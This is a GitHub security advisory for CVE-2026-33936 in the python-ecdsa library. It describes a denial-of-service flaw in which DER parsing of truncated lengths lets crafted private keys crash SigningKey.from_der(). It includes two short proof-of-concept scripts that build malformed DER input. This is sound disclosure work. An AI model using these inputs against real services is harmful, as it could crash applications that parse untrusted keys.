Skip to content

python-ecdsa: Denial of Service via improper DER length validation in crafted private keys

Moderate severity GitHub Reviewed Published Mar 26, 2026 in tlsfuzzer/python-ecdsa • Updated Mar 27, 2026

Package

pip ecdsa (pip)

Affected versions

< 0.19.2

Patched versions

0.19.2

Description

Summary

An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.

  1. ecdsa.der.remove_octet_string() accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.

  2. Because of that, a crafted DER input can cause SigningKey.from_der() to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raising UnexpectedDER or ValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.

Impact

Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.

Reproduction

Attach and run the following PoCs:

poc_truncated_der_octet.py

from ecdsa.der import remove_octet_string, UnexpectedDER

# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00  -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"

try:
    body, rest = remove_octet_string(bad)
    print("[BUG] remove_octet_string accepted truncated DER.")
    print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
    print("Body=", body)
    print("Rest=", rest)
except UnexpectedDER as e:
    print("[OK] Rejected malformed DER:", e)
  • Expected: reject malformed DER when declared length exceeds available bytes
  • Actual: accepts the truncated DER and returns a shorter body
  • Example output:
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)

poc_signingkey_from_der_indexerror.py

from ecdsa import SigningKey, NIST256p
import ecdsa

print("ecdsa version:", ecdsa.__version__)

sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))


def find_crashing_mutation(data: bytes):
    b = bytearray(data)

    # Try every OCTET STRING tag position and corrupt a short-form length byte
    for i in range(len(b) - 4):
        if b[i] != 0x04:  # OCTET STRING tag
            continue

        L = b[i + 1]
        if L >= 0x80:
            # skip long-form lengths for simplicity
            continue

        max_possible = len(b) - (i + 2)
        if max_possible <= 10:
            continue

        # Claim more bytes than exist -> truncation
        newL = min(0x7F, max_possible + 20)
        b2 = bytearray(b)
        b2[i + 1] = newL

        try:
            SigningKey.from_der(bytes(b2))
        except Exception as e:
            return i, type(e).__name__, str(e)

    return None


res = find_crashing_mutation(good)
if res is None:
    print("[INFO] No exception triggered by this mutation strategy.")
else:
    i, etype, msg = res
    print("[BUG] SigningKey.from_der raised unexpected exception type.")
    print("Offset:", i, "Exception:", etype, "Message:", msg)
  • Expected: reject malformed DER with UnexpectedDER or ValueError
  • Actual: deterministically triggers an internal IndexError (DoS risk)
  • Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')

Suggested fix

Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():

  • remove_octet_string()
  • remove_constructed()
  • remove_implicit()

Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.

Credit

Mohamed Abdelaal (@0xmrma)

References

@tomato42 tomato42 published to tlsfuzzer/python-ecdsa Mar 26, 2026
Published to the GitHub Advisory Database Mar 27, 2026
Reviewed Mar 27, 2026
Last updated Mar 27, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Handling of Length Parameter Inconsistency

The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data. Learn more on MITRE.

CVE ID

CVE-2026-33936

GHSA ID

GHSA-9f5j-8jwj-x28g

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.